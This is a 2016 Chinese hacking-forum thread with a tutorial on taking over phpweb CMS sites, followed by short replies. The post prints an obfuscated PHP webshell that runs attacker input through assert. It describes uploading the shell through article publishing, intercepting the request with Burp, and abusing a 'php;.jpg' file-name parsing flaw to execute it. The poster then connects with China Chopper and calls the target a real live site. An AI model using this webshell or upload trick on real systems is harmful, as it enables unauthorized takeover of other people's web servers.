请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 3682|回复: 53

[原创教程] phpweb的拿shell视频教程

  [复制链接]
  • TA的每日心情
    开心
    2016-2-2 20:06
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2016-1-2 19:54:08 | 显示全部楼层 |阅读模式
    今天呢我给大家演示一下phpweb的拿shell 方法

    教程应该对新手有帮助的

    我是第一天来sss论坛

    希望能够得到邀请码子一枚

    目标站 绝对性的实战噢


    不出意外我们直接有解析漏洞就可以拿到shell了

    1文章

    2文章发布

    <?php
    $item['wind'] = 'assert';
    $array[] = $item;
    $array[0]['wind']($_POST['AsdfG']);
    ?>


    时间原因我刚刚检测了一下 可以的 我现在直接 进入步骤

    burp 最好的劫断 工具没有之一

    这个工具运行需要java的环境百度的教程很多’


    算了大家认真看吧


    文件名字
    我们测试一下是不是直接解析的 有得管理把图片的目录设置了权限 我们是无法直接解析的

    我们解析这里 是不会成功的

    无法解析

    /news/pics/20151227/201512271451222480009php;.jpg成功的解析了


    那么我用菜刀链接下


    ok 顺利拿下了对吧  

    这可能被杀了 或者就是我的ip被限制了 问题不大

    教程就这样了教程下载:

    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-12-27 18:14
  • 签到天数: 31 天

    [LV.5]常住居民I

    发表于 2016-1-2 20:16:22 | 显示全部楼层
    来看看, 感觉挺不错的

  • TA的每日心情
    奋斗
    22 小时前
  • 签到天数: 307 天

    [LV.8]以坛为家I

    发表于 2016-1-2 20:19:18 | 显示全部楼层
    回复? 好像不用吧
  • TA的每日心情
    擦汗
    2016-6-3 09:16
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2016-1-2 20:22:31 | 显示全部楼层
    admin!!!!!!!!!!!!!!!!!!!!!!!
    回复

    使用道具 举报

  • TA的每日心情

    4 天前
  • 签到天数: 118 天

    [LV.6]常住居民II

    发表于 2016-1-2 20:23:26 | 显示全部楼层
    下载看看怎么样                        
  • TA的每日心情

    2017-1-21 15:36
  • 签到天数: 150 天

    [LV.7]常住居民III

    发表于 2016-1-2 20:30:38 | 显示全部楼层
    下载看看怎么样~
  • TA的每日心情

    2017-2-8 02:59
  • 签到天数: 30 天

    [LV.5]常住居民I

    发表于 2016-1-2 22:49:47 | 显示全部楼层

    下载看看怎么样~
  • TA的每日心情
    擦汗
    2015-11-25 05:06
  • 签到天数: 24 天

    [LV.4]偶尔看看III

    发表于 2016-1-2 23:27:52 | 显示全部楼层
    学习了,谢谢楼主实战视频
  • TA的每日心情
    开心
    2016-12-11 15:50
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2016-1-2 23:48:24 | 显示全部楼层
    进来看看。。。。。。。。。。
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2017-2-5 10:50
  • 签到天数: 158 天

    [LV.7]常住居民III

    发表于 2016-1-3 04:23:08 | 显示全部楼层
    看看学习学习                        
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-24 23:22 , Processed in 0.509050 second(s), 31 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表